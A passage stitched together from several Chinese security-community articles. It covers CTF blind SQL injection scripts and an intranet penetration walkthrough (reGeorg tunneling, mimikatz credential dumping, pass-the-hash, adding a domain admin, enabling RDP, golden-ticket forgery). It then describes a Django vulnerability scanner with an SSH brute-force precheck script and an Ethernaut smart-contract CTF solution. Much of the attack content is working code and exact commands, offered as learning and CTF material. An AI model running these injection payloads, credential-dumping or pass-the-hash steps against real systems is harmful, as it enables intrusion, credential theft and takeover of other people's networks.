"username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),#直接在显示页面中找到flag{,然后一个一个拼接
"password": 9
}
req = requests.post(url=url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in req.text:
flag += j
print(flag)
if j == "}":
exit(1)
''''''''''''''''''''''''''''''''''''
select if(load_file('/var/www/html/flag.php')like('flag{%'),1,0);
select if(load_file('/var/www/html/flag.php')regexp('flag{'),1,0);
select if(load_file('/var/www/html/flag.php')rlike('flag{'),1,0);
#其等效的字符串检索
''''''''''''''''''''''''''''''''''''
#5.利用账号密码错误返回不同的盲注
import requests
s = "q{wertyuiopasdfghjklzxcvbnm1234567890_-}"
url = "http:/api/"
flag = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "'or (substr((select group_concat(f1ag) from flag_fl0g),{},1))>'{}'#".format(i, chr(mid))
#截取flag字符和数值比较
data = {
"username": payload,
"password": 1
}
r = requests.post(url, data=data)
print(low, mid, high)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text: #当返回密码错误，则证明username中判断为真，拉高low
low = mid + 1
else: #反之拉低high
high = mid
mid = (low + high) // 2
flag += chr(mid)
print(flag)
if mid == 32:
print(flag)
break
'''''''''''' '''''' ''''''
#其他等效操作函数
left(str,index) 从左边第index开始截取
right(str,index) 从右边第index开始截取
substring(str,index) 从左边index开始截取
mid(str,index,ken) 截取str 从index开始,截取len的长度
lpad(str,len,padstr) rpad(str,len,padstr) 在str的左(右)两边填充给定的padstr到指定的长度、
#下面演示用left进行盲注
'''''''''''' '''''' ''''''
#6.利用账号密码错误返回不同的盲注(left)
import requests
import string
def main():
url = "http:/api/"
flagstr = string.digits + string.ascii_lowercase + " {}-_,"
result = ""
for i in range(1, 50):
for j in flagstr:
data = {
"username": "admin' and if(left((select f1ag from flag_flxg),{0})=('{1}'),1,power(9999,99))#".format(
i, result + j),
#因为left是一直截取，所以每次都给它累计然后拼接上去
"password": "123"
}
html = requests.post(url=url, data=data)
print(result, html.text, data["username"])
if r"\u5bc6\u7801\u9519\u8bef" in html.text:
result += j
print(result)
if j == "}":
exit(0)
break
print("result:" + result)
if __name__ == '__main__':
main()
'''''''''''' '''''' ''''''
power绕过原理
admin' and 1=1# //密码错误
admin' and 1=2# //用户名不存在
admin' and if(1=1,1,power(9999,99))# //密码错误
admin' and if(1=2,1,power(9999,99))# //用户名不存在
'''''''''''' '''''' ''''''
#7.累加判断
import requests
url = "http:/api/"
final = ""
stttr = "flag{}-_1234567890qwertyuiopsdhjkzxcvbnm"
for i in range(1,45): //flag总长度为44
for j in stttr:
final += j
payload = f"admin' and if(locate('{final}',(select f1ag from flag_flxg limit 0,1))=1,1,2)='1"
#LOCATE(s1,s)，从字符串 s 中获取 s1 的开始位置，有则可以通过用户名检测
data = {
'username': payload,
'password': '1'
}
r = requests.post(url,data=data)
if "密码错误" == r.json()['msg']:
print(final)
else: #当没有绕过用户名检测的时候，就让final重回上一次的结果
final = final[:-1]
'''''''''''' '''''' ''''''
应该还可以用instr等函数，LOCATE、POSITION、INSTR、FIND_IN_SET、IN、LIKE
'''''''''''' '''''' ''''''
#8.密码与id切换爆破注入
import requests
url = "http:/api/"
for i in range(100):
if i == 0:
data = {
'username': '0;alter table flag_user change column `pass` `ppp` varchar(255);alter table flag_user '
'change column `id` `pass` varchar(255);alter table flag_user change column `ppp` `id` '
'varchar(255);',
#利用中间数据'ppp'作为过渡，将ctfshow_user表中的pass和id字段互换，然后用下面的password批量修改（也就是现在的密码)
'password': f'{i}'
}
r = requests.post(url, data=data)
data = {
'username': '0x61646d696e',
'password': f'{i}'
}
r = requests.post(url, data=data)#第二次爆破式登录即可
if "登陆成功" in r.json()['msg']:
print(r.json()['msg'])#登录成功返回页面所有json数据即可
break
#9.benchmark替代sleep延时
import requests
import time
url='http:/api/index.php'
flag=''
for i in range(1,100): #经典的二分法
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
if chr(j)=='}':
exit()
break
payload="if(ascii(substr((select group_concat(flagaabc) from table_flagxccb),{},1))<{},benchmark(1000000,md5(1)),1)".format(i,j)
# payload="1) or if((select group_concat(flagaac) from table_flagxccb) like '{}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)-- -".format(flag+j) （ 笛卡尔表）
'''
BENCHMARK(count,expr)
BENCHMARK()函数重复countTimes次执行表达式expr，它可以用于计时MySQL处理表达式有多快。结果值总是0,报告查询的执行时间。只要我们把参数count 设置大点，那么那执行的时间就会变长
'''
data={
'ip':payload,
'debug':0
}
try:
r=requests.post(url=url,data=data,timeout=0.5)
min=j
except:
max=j
time.sleep(0.2)
time.sleep(1)
#每条请求之间间隔一定的时间,以免服务器太卡,提高准确率
可以看到`MD5()`执行比`SHA1()`要快
### 根据延时产生方式，这里再列举分析一些常用的
笛卡尔积：所有连接方式都会生成临时笛卡尔积表，笛卡尔积是关系代数里的一个概念，表示两个表中的每一 **行** 数据任意组合(交叉连接)
(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的集合，就是连接表
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
select * from table_name A, table_name B
select * from table_name A, table_name B，table_name C
select count(*) from table_name A, table_name B，table_name C 表可以是同一张表
实际应用中，笛卡尔积本身大多没有什么实际用处，只有在两个表连接时加上限制条件，才会有实际意义
### `GET_LOCK()`加锁
* `GET_LOCK(key,timeout)` 需要两个连接会话
`session A select get_lock('test',1);` `session B select get_lock('test',5);`
直到关闭连接会话结束，锁才会释放。锁是应用程序级别的，在不同的`mysql`会话之间使用，是名字锁，不是锁具体某个表名或字段，具体是锁什么完全交给应用程序。它是一种独占锁，意味着哪个会话持有这个锁，其他会话尝试拿这个锁的时候都会失败。
比如这里尝试`10`次已经有锁的，`（1+5）*10=60s`的延时就产生了
### `rpad`或`repeat`构造长字符串
#加大pattern的计算量，通过repeat的参数可以控制延时长短
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
RPAD(str,len,padstr)
用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度，然后返回 str。如果 str的长度长于 len，那么它将被截除到 len个字符。
mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'
repeat(str,times) 复制字符串times次
### 单纯执行延时
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
#等同于 sleep(5)
继续承接上面盲注脚本
#10.自定义数字产生函数，利用true编码数字，绕过传参的数字检测
import requests
def generateNum(num):
res = 'true'
if num == 1:
return res
else:
for i in range(num - 1):
res += "+true"
return res
url = "http:/api/"
i = 0
res = ""
while 1:
head = 32
tail = 127
i = i + 1
while head < tail:
mid = (head + tail) >> 1
payload = "select flagasabc from table_flagas"
params = {
"u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')"
}
r = requests.get(url, params=params)
# print(r.json()['data'])
if "userAUTO" in r.text:#username就是它
head = mid + 1
else:
tail = mid
if head != 32:
res += chr(head)
else:
break
print(res)
#11.直接通过flag表的规律爆破表名，用处不大
import requests
kk="ab"
url1="http:/api/insert.php"
url2="http:/api/?page=1&limit=100"
for i in kk:
for j in kk:
for m in kk:
for n in kk:
for c in kk:
flag="flag"+i+j+m+n+c
print(flag)
data={
'username':"1',(select(group_concat(flag))from({})));#".format(flag),
'password':1
}
res=requests.post(url=url1,data=data).text
r=requests.get(url=url2).text #一个用来改，一个用来看
print(r)
if "flag{" in r:
print(res)
exit()
其实除了列举的这些以外，还有很多种注入方式。比如SMTP
Header注入，IMAP命令行注入，POP3命令行注入，SMTP邮件命令行注入等。学习之路还有很长，争取早日当菜鸡！-waite-c | 社区文章 |
# 0x01 基础知识
内网渗透，从字面上理解便是对目标服务器所在内网进行渗透并最终获取域控权限的一种渗透。内网渗透的前提需要获取一个Webshell，可以是低权限的Webshell，因为可以通过提权获取高权限。
在进行内网渗透之前需要了解一个概念，域环境。在内网中，往往可能存在几百上千台机器，例如需要对机器进行升级、打补丁、设置权限等，管理员不可能一台一台地更新修改。因此便衍生出了域环境。管理员以一台主机作为域控制器新建一个域，将所有其他主机加入域中，以域控来操作其他主机。因为域控的高权限，导致了域控所在的主机的管理员账号密码，可以登录任意一台主机，所以内网渗透的最终目标，往往便是拿下域控的权限。
首先通过提权获取一个具有管理员权限的账号密码hacker/1234,abcd。具体提权过程就不细说了。下面将利用获取的这个具有管理员权限的账号密码正式开始内网渗透实践。
# 0x02 内网穿透
在渗透测试过程中，我们拿下了一台服务器的权限，并且通过netstat
-ano发现开启了3389端口，想要远程桌面连接的时候发现无法连接。这是因为我们获取的服务器所处的环境为内网，而内网主机的3389端口，是公网IP通过端口映射的。也就是说，我们连接的外网IP地址的3389端口，映射到内网中，不一定是那台服务器的3389端口。
解决这种问题的方法有两种：
1、让目标机器去连接外网主机（必须有一台公网服务器，内网主机能够访问互联网）
2、在目标机器上设置一个信号站（放一个WEB文件在目标机器上，所有流量都经过这个文件通信）
在渗透测试过程中，内网主机不能够访问互联网是很常见的，下面通过方法2进行内网穿透。
## 一、具体流程
1、首先需要一款工具regeorg来建立一个信号站。
2、这里以PHP站点为例，将tunnel.nosocket.php文件通过之前获取的Webshell上传到站点，尝试使用web端访问确定文件存在。
3、以python环境运行reGeorgSocksProxy.py脚本，将从本机的3344端口经过的数据都发送给目标机器的tunnel.nosocket.php文件。
python reGeorgSocksProxy.py -l 127.0.0.1 -p 3344 -u http://192.168.229.151/tunnel.nosocket.php
4、使用工具proxifier，设置远程桌面软件mstsc.exe的数据包从本地的3344端口出网。
5、成功进行内网穿透，通过远程桌面连接到目标主机。
其他内网穿透方法还有Frp、Ew、nps等，都是一些可以穿透的工具，原理为搭建一条直通内网的隧道，这里就不详细介绍了。
# 0x03 内网信息收集
1、使用PsExec.exe获取SYSTEM权限
进行内网信息收集需要具有一定的权限，所以先进行提权获取SYSTEM权限。
PsExec.exe -s -i -d cmd
2、获取所有域用户列表
使用net user /domain命令获取内网的域为xxx.cool，域中具有Administrator、Guest、krbtgt、web用户。
3、获取域用户组信息
使用net group /domain命令获取域用户组信息。
4、获取域管理员列表
使用net group "domain admins" /domain 命令获取域管理员列表，域管账户只有Administrator。
5、获取域服务器的IP地址
通过ping 域名称来获取域服务器的IP地址。（也可以通过查看dns服务器的IP地址，结合进行判断域服务器的IP地址。）
6、安装Nmap进行扫描
前面介绍了Nmap工具，在内网渗透过程中也可以通过Nmap获取内网信息。
1）首先通过Webshell上传Nmap的安装包。
2）远程连接目标服务器并安装Nmap进行内网信息收集。
7、内网主机存活探测因为动静比较大，也可以通过nbtscan工具进行。因为相对于Nmap的大规模扫描行为，nbtscan基于NetBios进行探测，即是相当于windows打开我的电脑中的网络一样，被发现的几率相对低一些。
# 0x04 Hash读取
此处Hash读取通过工具mimikatz来进行，mimikatz是由本杰明·德尔皮创建开发的一个能够从内存中读取hash账号密码的工具，也可以说是内网渗透中的神器。
下面介绍如何通过mimikatz工具读取服务器内存中存储的hash密码。
1、首先以管理员权限打开mimikatz。
2、使用privilege::debug提升权限。
3、使用sekurlsa::logonpasswords读取到内存中的管理者账号的明文密码和本机的web用户的密码。
4、远程桌面登录管理员账号。
# 0x05 Hash传递
## 一、基础知识
上面介绍了如何进行Hash读取，如果域控管理员使用自己的域控账号登录了服务器，那么就可以抓取到域控的账号和密码了。这样的危害性是巨大的，所以在渗透测试过程中，内网的机器往往会打
**KB2871997** 补丁，并且修改注册表关闭Wdigest
Auth。这样抓取的就不是明文密码了。虽然还是能够获取密文Hash，但是密文Hash往往不可逆，解开需要花费大量精力。
在域环境下，检测密码不是先将Hash解密再验证是否正确的。在验证输入的账号密码是否正确的时候，是通过验证Hash是否相同来进行校验的。也就是说，或许我们可以通过获取的Hash来伪造管理员账号密码登录，也就是Hash传递，又叫PTH，通过将获取的NTLM密文传递到验证登录的机器，绕过正常验证进行登录系统。
## 二、Wdigest
注册表中的Wdigest功能关系着内存中是否有明文密码，通过查看注册表键值，可以判断Wdigest功能状态。如果该项值为“1”则为开启，即可以获取明文密码，如果该项值为“0”，则明文密码不会出现在内存中。开启和关闭Wdigest
Auth命令如下：
（1）开启Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
（2）关闭Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
## 三、IPC$
#### 1、概念
IPC$(Internet Process
Connection)是共享"命名管道"的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。
IPC$的使用条件：
开放了139、445端口；
目标开启IPC$文件共享；
获取用户账号密码。
在内网中，默认就会开启IPC$共享文件服务，默认会将C盘共享出来，也就是说，我们可以通过IPC获取目标C盘的权限。
#### 2、IPC$常用命令
net use | 查看当前连接的IPC$
---|---
net use * /del | 删除IPC$连接
net use \192.168.1.1\ipc$ 密码 /user:域\账号 | 连接域内IP地址为192.168.1.1的主机
dir \192.168.1.1\c$ | 列出连接的192.168.1.1的C盘文件
copy c:/12.txt \192.168.1.1\c$\2.txt | 复制本地c盘的12.txt文件到192.168.1.1的c盘并保存为2.txt
#### 3、IPC$命令执行
1、通过at命令制定计划进行命令执行。
at \\192.168.1.1 11:15am cmd /c "whoami"
2、通过at命令制定计划进行多层代理的命令执行
at \\192.168.100.1 11:15am cmd /c "net use \\192.168.200.1\ipc$ 密码 /user:账号"
at \\192.168.100.1 11:15am cmd /c "at \\192.168.100.1 11:15am cmd /c "whoami" "
## 四、Hash传递实战演示
1、首先尝试抓取密码发现获取的全部都是密文。
2、这里虽然没有获取到明文密码，但是获取了域管理员用户的NTLM。
3、提权到SYSTEM权限，执行net user /domain，获取域管所在的主机地址。
4、尝试使用ipc$读取域管的c盘目录，显示拒绝访问。
5、通过mimikatz工具进行Hash传递。
sekurlsa::pth /user:administrator /domain:"xxx.cool" /ntlm:f1de694efa543bb780da59c049541ea3
6、执行完之后会弹出一个命令提示符，执行dir \AD.xxx.cool\c$成功无需账号密码获取了域控机器的c盘的权限，列出了c盘的文件。
7、在通过PTH弹出的命令提示符中通过../跳转到PsExec.exe文件所在目录，执行命令提权获取一个域控机器的cmd命令提示符。
8、执行ipconfig可以看到是域控所在机器的IP地址，成功拿到域控所在机器的权限。
9、在域控中新建用户并加到管理员组。
10、以新创建的用户远程桌面登录域控，发现无法连接远程桌面服务。
11、通过reg命令查询注册表，查看远程桌面服务发现返回0x01，说明远程桌面服务没有开启。（开启则返回0x00）
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
12、通过拿到的域控的命令提示符来执行修改注册表操作，打开远程服务功能。
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
13、以新建的hackerend用户远程桌面登录域控。
# 0x06 黄金票据
## 一、基础知识
前面了解到在域环境中，域控的账号密码可以登录域内任意一台主机，那么主机是如何检测域控账号密码是否正确的呢？检验账号密码可以有两种方法，询问域控或者设置一个专门检测账号密码是否正确的第三方中心。在域中便使用到了第三方中心来检验输入的账号密码是否相同。这种第三方中心叫KDC密钥分发中心。（以下内容涉及内网的kerboros协议，小弟学业不精，就简单说一下了。）
## 二、KDC密钥分发中心
KDC（kerberos Distribution Center）密钥分发中心，维护所有账户的名称和Master Key（key的hash code）。
提供：AS认证服务、TGS票据授予服务。
#### 1、AS
授权服务（Authorization
Server），对于上面的流程1，提供初始授权认证，用户表明需求并使用密码对请求进行加密，AS用提供的密码对请求进行解密后得到的请求内容，返回给用户一个TGT（票据授权票据
ticket granting tickets）（用一个密码加密）。
#### 2、TGS
用户得到TGT之后使用TGT去访问TGS（票据授权中心Ticket Granting Server），
TGS验证TGT后（使用密钥解密），返回一个Ticket给用户；用户得到Ticket后去访问Server，Server收到Ticket和KDC进行验证，通过后提供服务。
#### 3、票据
在内网渗透中，票据分为白银票据和黄金票据。分别对应域普通用户的票据和域管理员的票据。票据就是Kerberos认证协议的Ticket，因为已经经过了AS和TGS的校验，所以获取了票据之后，可以任意登录目标主机。
在查询域内用户的时候，总会看到一个用户叫krbtgt，如图5-37所示。krbtgt账户其实就是KDC秘钥分发中心用的超管账户。我们拿着krbtgt账户的票据，去访问域内机器，目标主机会认为我们是KDC秘钥分发中心，所以直接给了最高的权限允许我们访问。
一般管理员会修改域控账号的密码，但是很少有管理员会修改Krbtgt的密码。在内网渗透的最后阶段，我们需要通过获取黄金票据进行权限维持，那么下面将介绍如何获取krbtgt账户的黄金票据。
## 三、实战演示
1、首先通过远程桌面将mimikatz.exe和PsExec.exe上传到域控主机。
2、通过PsExec提权为SYSTEM，然后执行mimikatz，输入命令lsadump::dcsync /user:krbtgt
获取krbtgt的hash值。
3、这里制作黄金票据需要的数据为：
Object Security ID : S-1-5-21-3296092892-1320626564-2720975204Hash NTLM: 31edc56a2302a25a2e9bee5f04abd659
原Object Security ID最后面有个-502是作为标识的，在制作时需要手动删除。
4、退出远程桌面，在攻击机通过mimikatz制作黄金票据。执行命令后会生成一个AD.kiribi文件。
kerberos::golden /admin:administrator /domain:xxx.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi
5、制作完票据之后，先尝试获取域控的c盘的权限发现拒绝访问。
6、通过kerberos::purge清空票据缓存；kerberos::list列出票据显示为空，说明清空了所以票据。
7、通过kerberos::ptt administrator.kiribi加载生成的票据。
8、成功无密码获取域控c盘权限，后面进一步提权与Hash传递处相仿，就不做演示了。
# 0x07 总结
以上便是我学习的简单地从外网获取shell，经过提权或不提权直接进行内网渗透的一个简单过程，其中涉及一些概念问题没有说的很明白，希望表哥们提点提点。以上仅为个人学习过程，可能知识点过于简单，望理解。 | 社区文章 |
# 相关技术
* Python 3.8.0
Python 3.8 支持许多高级特性，在 Web 漏扫这一块 Python 编写也十分灵活。
* Django 3
使用了最新的 Django 版本，Django 是 Python 语言中文档比较全的一个 Web 框架，因为文档比较全，适合新手上手，所以这里选了
Django
* MySQL
经典的关系型数据库，实际上因为 Django 可以完美的支持各种数据库，一般我们不需要对数据库进行直接操作，所以换其他的数据库也是可以的，因为对 MySQL
比较熟悉，就选择了 MySQL 了。
* H+ 4.1
H+ 是一个功能全面的收费框架，基于 Bootstrap3.3.6 <https://gitee.com/luanshijiaren/hplus-4.1>
码云上有人开源出来了，因为 Bootstrap 容易上手，所以国光这里就白嫖了这个框架，然后在此基础上进行了深度修改
* ECharts
ECharts 是百度开源的一个数据可视化的 JS 图表插件，之前国光我使用 Django 重写我的 Hexo 博客的时候，发现我那个主题就是使用的
ECharts 图表插件，所以这次写 Web 漏扫的时候也就轻车熟路的直接使用了，ECharts 很强大，对于我们这种前端一般般的开发者来说，简直是福利。
# 漏洞检测
漏洞检测实际上国光我一开始是不打算写的，因为我对漏洞检测的算法没有信心，另外国光也看了网上那些看上去 NB 哄哄的 Web 漏扫，发现漏洞检测的效果也就是
just soso。但是一个扫描器还是要有漏洞检测功能的，所以国光在写这个功能前把 [AWVS 13
APi](https://www.sqlsec.com/2020/04/awvsapi.html) 全部亲自测试了一遍，然后把长亭科技的 [xray
的官方文档](https://www.sqlsec.com/2020/04/xray.html)也过了一遍。
所以这个漏洞检测功能最终就是使用 AWVS 13 爬虫来爬取目标资产信息，然后将获取到的信息转发给 xray 进行漏洞检测，直接用轮子效率真的高，新版本的
xray 支持 webhook 方便获取到漏洞信息，Demo 界面如下：
Django写的对应的 xray webhook 接口，下面是这个接口简单的实现代码:
import json
from django.shortcuts import render
from django.views.generic.base import View
from django.views.decorators.csrf import csrf_exempt
class WebHook(View):
@csrf_exempt
def dispatch(self, request, *args, **kwargs):
return super().dispatch(request, *args, **kwargs)
def post(self, request):
vul_data = json.loads(request.body)
if 'detail' in str(request.body):
print('漏洞插件:', vul_data['plugin'])
print('漏洞位置:', vul_data['target']['url'])
print('漏洞分类:', vul_data['vuln_class'])
return render(request, 'test.html', {
})
> 因为 Django 安全机制问题，xray post 提交请求到 Django 必须填写 CSRF Token才可以，解决方法就是手动关掉这个类的
> CSRF 检测`@csrf_exempt`
点击资产名称的跳转到漏洞细节：
点击对应的漏洞 URL 会展开详细的漏洞细节：
总的来说功能上基本上可以满足渗透测试人员的需求了。
# 端口扫描
端口扫描国光我的扫描思路是先使用 masscan 进行网段粗略扫描，然后再用 nmap 进行详细扫描。比较舒服的事情是 Python
里面都有不错的相应的模块可以直接使用，这样代码写起来就更加得心应手了。
python-masscan 的扫描效果图：
IP 归属地查询使用的接口如下：
ip_api_url = f'http://freeapi.ipip.net/{ip_addr}'
r = requests.get(url=ip_api_url)
addr_list = literal_eval(r.text)
addr = ' '.join(addr_list[:3])
接着点击网段后的跳转页面如下图所示：
在这里可以继续发起扫描，这里就是调用的 nmap
扫描器，上方图标插件分别展示了端口和服务类别的饼状图，资产比较多的资产也会在右上侧列出来，总体效果还是可以的。
# 指纹识别
指纹识别主要使用了 <https://www.wappalyzer.com> wappalyzer
做基本的指纹探测，这可以让结果看上去不会那么尴尬，毕竟不是每个资产都可以那么容易识别到 CMS
的；当然传统的指纹识别功能也集成了，这里使用的指纹库是:<https://github.com/TideSec/TideFinger>
TideFinger，虽然这个指纹库比较老了，但是可以自己在这个基础上扩充，基本上也可以满足基本的指纹探测功能的，国光我整理出的<https://sqlsec.lanzous.com/icsbx4d>
JSON 格式链接地址。
指纹识别详情展示图：
当然一些古老的 CMS 也是可以识别出来的，这个就归功于 TideFinger 的功劳了：
不过这些 CMS 的名称和描述是需要自己建库的，然后对应的数据库 model 注册到 Django Admin 中：
@admin.register(Component)
class ComponentAdmin(admin.ModelAdmin):
list_display = ('name', 'desc', 'category', 'icon_data')
search_fields = ('name', 'desc')
readonly_fields = ('icon_data',)
list_per_page = 20
fieldsets = (
('编辑组件', {
'fields': ('name', 'desc', 'category', 'icon', 'icon_data')
}),
)
formfield_overrides = {
models.CharField: {'widget': TextInput(attrs={'size': '59'})},
}
其中 icon 是图片，这里需要我们在对应的 Model 里面编写好对应的 HTML:
class Component(models.Model):
name = models.CharField(max_length=200, verbose_name='组件名称')
desc = models.CharField(max_length=200, verbose_name='组件描述')
icon = models.FileField(upload_to='icons/', verbose_name='组件logo', max_length=100)
category = models.CharField(max_length=100, verbose_name='组件类别', blank=True)
def icon_data(self):
return format_html(
'<img src="/media/{}" width="50px" height="50px" />',
self.icon,
)
icon_data.short_description = 'Logo'
实际上在 Django Admin中添加编辑起来的话效率也比较高，国光这里使用的是目前比较流行的 Django Admin: Simple
Ui，下图是具体的效果：
这里国光我打包了对应的数据库以及 icon 素材，方便大家直接使用：<https://sqlsec.lanzous.com/icsc9ef>
CMS组件描述-蓝奏云
# 域名探测
域名探测功能国光我发现比较流行的子域名探测功能 one for all 用的也是很多 API
接口，于是国光我也打算使用第三方服务来获取子域名，这样获取的速度会很快。
为什么不用传统的暴力破解子域名呢？因为现在很多 SRC 的子域名都已经到 3 级甚至 4 级了，这个时候用暴力破解子域名的话 效率是及其低下的
得等到天荒地老。接口的话 国光我筛选了 6 个还算不错和稳定接口，基本上覆盖面是有的了：
因为这些子域名是存入数据库的，所以也就顺便增加了域名监控功能，每次扫描可以统计出新增的域名数量。域名探测所使用的 6
个接口分别如下，大家也可以直接拿去使用，做好对应的数据提取就可以了：
# 爱站
https://baidurank.aizhan.com/baidu/{domain}/
# 百度云观测
http://ce.baidu.com/index/getRelatedSites?site_address={domain}
# hackertarget
https://api.hackertarget.com/hostsearch/?q={domain}
# IP138
https://site.ip138.com/{domain}/domain.htm
# crt.sh SSL 证书反查
https://crt.sh/?q=%25.{domain}
# 千寻
url = 'https://www.dnsscan.cn/dns.html'
datas = {"ecmsfrom": '8.8.8.8', "show": 'none', "keywords": domain}
域名探测细节效果图：
域名访问超时直接丢弃结果的，然后再获取网页标题，这个在实际的信息收集中比较实用的，一些 404 403 的资产可以跳过，减少无意义的浪费时间。
# 目录扫描
目录扫描国光这里直接强行把 Dirsearch 给集成到 Django 中了，附上罗永浩那句话：又不是不能用
为什么是强行呢，因为代码实在不优雅 等后面正式开源的话 这里得好好重写一下。又因为前端比较菜，所以 Web 目录扫描这一块和之前的模板外观看上去是差不多的：
点击目录扫描细节可以看到详细的目录扫描结果：
这里没有啥亮点，Dirsearch 本身就很强大，后期打算集成 top 1000 字典，每次目录命中的话，计数 +
1，然后把高命中的字典保存下载下来，这样实战中应该会更实用。
# 小工具
目前小工具集成的功能如下：IP 提取、文本对比、批量获取网页标题、SSH批量爆破验证 这些都是比较常用的小功能，写起来也比较简单：
这些小工具实际上就是一些小脚本的整合，建议大家也尝试使用 Django 去集成一些，这样平时使用的时候就会更加方便了，不需要翻来覆去地导出找脚本了。
**SSH 批量爆破验证**
众所周知，SSH 可能开启公私钥登录，这个时候如果直接丢到类似 <https://github.com/shack2/SNETCracker>
超级弱口令爆破工具 理论批量爆破的话 就会很浪费时间。所以最好爆破之前批量检测一下是否支持密码爆破。下面是简单的 Python Demo:
import os
import pexpect
import progressbar
with open('22.txt') as f:
lines = f.readlines()
attack_ips = []
p = progressbar.ProgressBar()
for line in p(lines):
ssh = pexpect.spawn('ssh root@{ip}'.format(ip=line))
try:
flag = ssh.expect(['continue', 'password:'], timeout=3)
if str(flag).isnumeric():
attack_ips.append(line)
except pexpect.EOF:
ssh.close()
except pexpect.TIMEOUT:
ssh.close()
for ip in attack_ips:
with open('ssh.txt','a') as f:
f.write(ip)
类似的还可以写 MySQL 批量爆破验证，因为 MySQL 不一定都是开启外连的，所以爆破前的检测是很有必要的，这样可以在后面的爆破节省大量的时间。
# 总结
总的来说使用 Django 写一个漏扫虽然难度不高（用了轮子了，让我写一个 xray 这种强大的扫描器
还差的很远呢...），但是要做的细致好用的话难度还是很高的。这里给自己挖个坑，待以后有精力了重写这个扫描器：
* [ ] Redis 缓存加速
* [ ] WebSocket 通信
* [ ] Django 配合 React、Vue 等技术实现前后端分离
* [ ] 代码变量、数据库结构优化
* [ ] 实用功能完善
总之不论是开发还是安全都有很长的路要走，路漫漫其修远兮，吾将上下而求索，共勉 ！ | 社区文章 |
## 前言
Ethernaut 是由 Zeppelin 开发并维护的一个平台，上面有很多包含了以太坊经典漏洞的合约，以类似 CTF 题目的方式呈现给我们，目前已有 19
个挑战。平台网址：<https://ethernaut.zeppelin.solutions/>
完成该项挑战需要一定的 solidity 语言基础，以及一点的 javascript 语法基础。如果对区块链没有任何基础，推荐根据教程快速学习
solidity 语法，比如 [CryptoZombies](https://cryptozombies.io/zh/) 等。
以及进行挑战需要安装 metamask，一款开源的以太坊钱包，尚未安装的话可以参考网上教程进行安装，这里不再赘述。另一个需要注意的是由于题目都部署在
Ropsten Test Network 上，所以记得去领取测试网络上免费发放的 ether，要不然连题都做不了 (￣_￣|||)
## Hello Ethernaut - 快速入门
让玩家简单熟悉关卡挑战的模式，以及执行操作的方式，根据其介绍的一步步进行操作即可通过本关。
操作如图：
## Fallback - 回退函数
首先简单介绍 fallback 函数的作用：
合约可以有一个未命名的函数。这个函数不能有参数也不能有返回值。
如果在一个到合约的调用中，没有其他函数与给定的函数标识符匹配（或没有提供调用数据），那么这个函数（`fallback`
函数）会被执行。除此之外，每当合约收到以太币（没有任何数据），这个函数就会执行。此外，为了接收以太币，`fallback` 函数必须标记为
`payable`。
然后我们看题目的源码：
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallback is Ownable {
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
很明显该函数就是 `fallback` 函数：
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
结合题目的要求：
1. you claim ownership of the contract
2. you reduce its balance to 0
很明显我们如果通过反复调用 `contribute` 来触发 owner 不现实，因为我们每次最多向合约贡献不大于 0.001 ether，而要超过
owner 需要 1000 ether（构造函数赋予 owner 的）。但我们惊喜地发现 `fallback` 函数同样可以改变 owner
的值，那么对应的操作就非常清晰了：
1. 调用合约的 `contribute` 使得合约中我们账户对应的 balance 大于 0
2. 触发 `fallback` 函数使得合约对应的 owner 变成我们
3. 调用 `withdraw` 函数清空 balance
// step 1
await contract.contribute({value: 1});
// step 2，使用 sendTransaction 函数触发 fallback 函数执行
await contract.sendTransaction({value: 1});
// step 3
await contract.withdraw();
// 此时调用 owner 函数可以确认合约的 owner 是否已经变成了我们所对应的地址了
await contract.owner();
